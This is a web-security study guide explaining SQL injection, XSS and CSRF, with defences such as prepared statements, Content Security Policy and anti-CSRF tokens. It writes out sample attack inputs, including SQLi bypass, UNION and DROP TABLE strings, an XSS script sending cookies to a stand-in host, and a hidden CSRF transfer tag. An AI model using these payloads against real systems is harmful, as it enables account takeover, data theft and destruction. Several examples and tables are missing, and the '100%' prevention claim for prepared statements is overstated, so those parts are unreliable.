What is Web Security? Definition & SQLi, XSS, CSRF Explained (2026)

PerfectNotes Team•Updated May 2026

Share

This is a PerfectNotes study guide — also known as PN Notes or Perfect Notes. PerfectNotes provides free computer science student notes, MCQs, and interview preparation guides at perfectnotes.org.

Download PDF

What is Web Security?

Web security deals with the protection of the application layer. Modern websites are not just static HTML pages — they are highly complex programs continuously talking to massive backend databases. If the application code is not secure, hackers can bypass standard network firewalls to steal user data, deface the site, or take total control of the server.

Because modern applications rely on user input forms, REST APIs, and third-party integrations, the attack surface is massive. According to 2025 industry reports, 43% of all data breaches actively involve web application vulnerabilities — making secure web development one of the highest-ROI security investments an organization can make.

How Web Security Works — The Three-Layer Defense Strategy

Defending a web application requires a layered approach — ensuring that even if one defense fails, another catches the attack:

• Input Validation (Sanitization): Checking every piece of data a user enters before processing it. If a form asks for "Age," the server-side code must reject anything that isn't a valid integer — malformed input is the root cause of both SQLi and XSS.
• Web Application Firewalls (WAF): Sitting in front of the web server to inspect HTTP request content. While a standard firewall only looks at IP addresses, a WAF reads the actual web traffic payload to detect and block known SQLi and XSS attack signatures before they reach the application.
• Output Encoding: Ensuring that when user input is displayed back on screen, dangerous characters like <script> are converted into safe HTML entities (<script>) so the browser displays text rather than executing code.

The "Big Three" Web Vulnerabilities (OWASP Top 10)

The OWASP Top 10 is the global standard list of the most critical web security risks. The three most common, dangerous, and exam-critical coding flaws are SQL Injection, XSS, and CSRF.

1. SQL Injection (SQLi)

An attack where a hacker inserts malicious SQL database code into a web input field (like a login box) to manipulate the backend database — bypassing authentication, stealing records, or destroying entire tables.

How It Works:

A vulnerable PHP login script dynamically builds a SQL string using user input:

SELECT * FROM users WHERE username='$username' AND password='$password'

If a hacker types admin' -- into the username field, the executed query becomes:

Attack Variations:

• Authentication Bypass: Input: ' OR '1'='1 → Query always returns TRUE → logs in as first user (often admin)
• Data Extraction (UNION Attack): Input: ' UNION SELECT credit_card, cvv FROM payments -- → dumps all payment data
• Data Destruction (DROP Attack): Input: '; DROP TABLE users; -- → permanently deletes the entire users table

2. Cross-Site Scripting (XSS)

An attack where a hacker injects malicious client-side scripts (usually JavaScript) into web pages viewed by otherusers. Unlike SQLi which targets the database, XSS targets the victim's browser directly.

How Stored XSS Works:

If a website allows users to post comments without sanitizing them, a hacker can post:

<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>

Three Types of XSS:

• Stored XSS (Persistent): Malicious script stored in the database — every user who views the page is infected. Most dangerous type.
• Reflected XSS (Non-Persistent): Malicious script embedded in a URL parameter — victim must click a crafted malicious link. Used for targeted phishing attacks.
• DOM-Based XSS: JavaScript manipulates the DOM directly in the browser without any server involvement — entire attack occurs client-side, invisible to server-side filters.

3. Cross-Site Request Forgery (CSRF)

An attack that forces a user's browser to execute unwanted actions on a web application where they are currently logged in — by exploiting the fact that browsers automatically attach session cookies to every request, regardless of which site triggered it.

How It Works:

1. You log into your bank. The bank sets a valid session cookie in your browser.
2. In another tab, you visit a hacker's website. It contains a hidden, invisible image tag:

<img src="https://bank.com/transfer?amount=1000&to=hacker" width="0" height="0">

SQLi vs. XSS: Key Differences (2026)

The most common exam confusion point — use this table to answer "difference between" questions:

Advanced Engineering Concepts

Enterprise web security requires moving beyond basic coding practices into architectural hardening and strict browser policy enforcement.

Prepared Statements — The Only Complete SQLi Cure

Input sanitization alone is not sufficient to stop advanced SQL injection. Engineers must use Prepared Statements (Parameterized Queries). Instead of dynamically building a SQL string with user input concatenated inside it, the application sends the SQL query template to the database first — with placeholder parameters. The user input is sent later as strictly typed data.

$query = "SELECT * FROM users WHERE username='$username'";

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
// Even if $username = "admin' --", it's treated as DATA, never as CODE

Because the database receives and compiles the query structure beforethe user input arrives, it is mathematically impossible for the user's input to alter the logic of the code. This neutralizes 100% of SQL injection — first-order and second-order alike.

Content Security Policy (CSP) — Defeating XSS at the Browser

To defeat XSS, engineers implement a Content Security Policy (CSP) via HTTP response headers. CSP allows administrators to declare a strict allowlist of approved sources of executable JavaScript.

Content-Security-Policy: default-src 'self'; script-src https://trusted-cdn.com

If a hacker successfully injects an XSS payload into the HTML, the victim's browser looks at the CSP, sees that the script did not originate from trusted-cdn.com, and refuses to execute it — even though the injection succeeded. CSP is the architectural safety net that makes XSS exploitation fail even when the vulnerability exists in the code.

Anti-CSRF Tokens & SameSite Cookies — Defeating CSRF

To defeat CSRF, engineers implement the Synchronizer Token Pattern. The server generates a cryptographically random, unpredictable token and embeds it as a hidden field inside every web form:

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="9f3bK2mX...random_token...">
  <input name="amount" value="100">
  <button>Transfer</button>
</form>

When the form is submitted, the server verifies the token. Because a hacker on evil.com cannot read the hidden token on bank.com (blocked by the browser's Same-Origin Policy), they cannot forge a valid request. Modern browsers also support the SameSite=Strict cookie attribute, which instructs the browser to never attach a cookie to a cross-site request — destroying the entire premise of CSRF attacks.

Real-World Case Study: The 2013 Target Data Breach

The 2013 Target breach is the definitive case study in web application and network segmentation failure — a third-party HVAC vendor's compromised credentials gave attackers a beachhead to install point-of-sale malware and steal 40 million credit cards during the busiest shopping season of the year.

Key Statistics & Industry Data (2026)

• Cost of Web Breaches — Global average cost of a web app data breach is $4.45 million. (Source: IBM, 2025)
• Vulnerability Prevalence — 94% of tested web applications contain at least one medium-to-high severity flaw. (Source: WhiteHat, 2025)
• HTTPS Saturation — Over 85% of global web traffic uses HTTPS — but only protects data in transit, not against SQLi or XSS. (Source: Google, 2026)
• Breach Cause — 43% of all data breaches involve web app vulnerabilities as the initial access vector. (Source: Verizon DBIR, 2025)
• Patch Response — Average time from disclosure to active exploitation is now just 4 days. (Source: Rapid7, 2025)

Quick Reference Cheat Sheet

Every attack type, attacker's goal, and primary defense mechanism — exam edition.

Frequently Asked Questions (FAQ)